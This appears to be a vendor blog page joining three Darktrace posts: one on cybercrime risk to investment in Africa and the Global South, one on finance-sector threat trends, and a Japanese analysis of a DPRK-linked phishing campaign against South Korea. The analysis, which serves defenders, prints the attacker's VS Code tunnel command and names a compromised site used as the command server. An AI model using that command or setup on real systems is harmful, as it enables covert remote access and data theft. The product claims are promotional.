As a flurry of tech startup investment driven by the pandemic tailed off in the second quarter of 2022, funding for startups fell globally by 23%, the largest drop in over a decade. In Africa, however, that funding doubled over the same period. The continent has seen a wave of venture capital from within and without, and increasing numbers of ‘unicorns’ – startups valued at over $1 billion. 

For investors, the continent is steadily becoming a safer bet, but certain concerns remain, not least of which is the cyber-reliance of many African nations and businesses. A 2021 report by Interpol suggests that the continent’s GDP is reduced by up to 10% (equivalent to $4.12 billion in 2021) by cybercrime alone. If emerging markets like Nigeria, South Africa, and Kenya are to continue drawing investment, they’ll need to match business innovation with more effective security measures.

The Cost of a Continental Skill Shortage

Cyber skill shortages remain an issue in many Global South markets, meaning the impact of common threats is effectively magnified when they hit organizations in these nations. Having the expertise on hand to reduce time-to-response and take decisive, effective remediation action can be the difference between a bullet point on a threat report and a fully-fledged attack.

Many cyber professionals will think of WannaCry, a ransomware attack which affected over 200,000 devices in 2017, as a threat of the past, its relevance consigned to the months after its first appearance. For countries in Latin America and the Caribbean, however, it remains a prevalent and punishing tool, and continues to target thousands of systems: the highest number of WannaCry attacks are consistently seen in Brazil, Ecuador, and Chile. Why is so much damage still being wrought by a ransomware strain which was largely thrown into obsolescence in the Global North years ago? Think tanks like the RUSI attribute it to a lack of IT professionals and the slow uptake of new security standards in regions which are otherwise enjoying rapid digitalization. 

The discordance between internet penetration rates and cyber security capabilities is even more pronounced in Africa. An estimate made in 2018 suggested that there were only 7,000 certified security professionals in the continent, one for every 177,000 people. In the US, comparatively, the figure was one for every 330 people. Even adjusting for Africa’s reduced internet penetration rate, the figure remains one professional for every 45,140 internet users. 

The result of this is that 9 in every 10 African businesses are said to operate without necessary cyber security protocols in place. If the continent continues to draw investment without making big strides in its cyber security measures, its rapidly growing base of potential victims (Africa’s internet using population numbers over 650 million, massively outstripping North America’s 350 million) will draw increasing numbers of cyber-attacks.

Attackers Destabilize the Market

There is already evidence that attackers are beginning to take notice. Interpol cites a report claiming that in the first months of 2021, African organizations saw the highest increase in ransomware attacks of any region. But it is the efficacy, rather than frequency, of attacks on Global South nations which will be most concerning to investors seeking stability. 

Last year in South Africa, several major trade ports were brought to a halt by a ransomware attack on Transnet and, just a few months later, the country’s justice department was brought down in a similar attack. In Costa Rica earlier this year, the ransomware group Conti successfully locked down several government systems and threatened to overthrow the presiding government if ransom payments were not made, leading President Chaves to declare a national state of emergency. Organizations operating critical national infrastructure are particularly attractive to attackers, as the disruption caused by their downtime makes it easier to extort a generous ransom. These attacks are also high-profile, often internationally so. 

High-profile attacks can greatly affect the confidence of investors and potential business partners. A KPMG report on cyber risks in emerging markets explains: “Those suppliers handling confidential third-party data in emerging markets that are able to demonstrate strong security posture around that data are likely to be more attractive and potentially able to win more business.” Organizations in countries with generally weaker cyber security practices should be looking at tools to put the concerns of potential partners and investors at ease. Ideally these should be AI-driven tools which not only stop old, known threats, but also those headline-grabbing novel attacks and zero days.

Protecting Progress

Many Global South governments are now taking steps to address cybercrime concerns, and bring legislation up to global standards. Last year, South Africa’s President Cyril Ramaphosa signed the Cybercrimes and Cybersecurity Act, placing new breach reporting responsibilities on organizations. Similar acts were passed in nations such as Zambia and Ecuador the same year.

International cooperation on the issue of cyber security is also more common: the Convention on Cyber-security and Personal Data Protection adopted by the African Union's 55 member states in 2014 has now been ratified by thirteen nations, while in July of this year, delegates from Bangladesh, Bhutan, India, Myanmar, Nepal, Sri Lanka, and Thailand gathered for the inaugural BIMSTEC (Bay of Bengal Initiative for Multi-Sectoral Technical and Economic Cooperation) meeting on cyber security cooperation

These are important steps, but legislation and discussion will do little if organizations do not take action in their wake. As we stressed in our recent blog on modern cyber warfare, the involvement of the private sector in government directives is crucial to tackling widespread cyber threats. Togo’s Minister of Digital Economy stressed this fact when he announced the new African Centre for Coordination and Research in Cybersecurity last month: “Our partnership model with the private sector is an innovative approach that we want to showcase to inspire other countries for safer cyberspace on the continent.”

For emerging markets to thrive globally, the organizations within them need to recognize the growing target on their backs, and protect themselves and their data from increasing numbers of sophisticated cyber-attacks. Addressing crippling skill shortages may seem like a long-term – even generational – plan, but with the right tools it can be done almost immediately. AI solutions like Darktrace can autonomously prevent, detect, and respond to attacks, buying back hours for security professionals, and augmenting the ability of small teams to tackle numerous complex threats simultaneously. Darktrace PREVENT preempts attackers and continuously hardens defenses, ensuring that organizations are prepared for novel threats, rather than falling victim to old ransomware strains.

The economic significance of cyber resilience has become undeniable. With proper security investment, emerging markets and Global South nations can hold onto the billions being lost to cyber-attack costs, and continue to focus on business growth and innovation.

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

Default blog imageDefault blog image

The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

Default blog imageDefault blog image

はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。
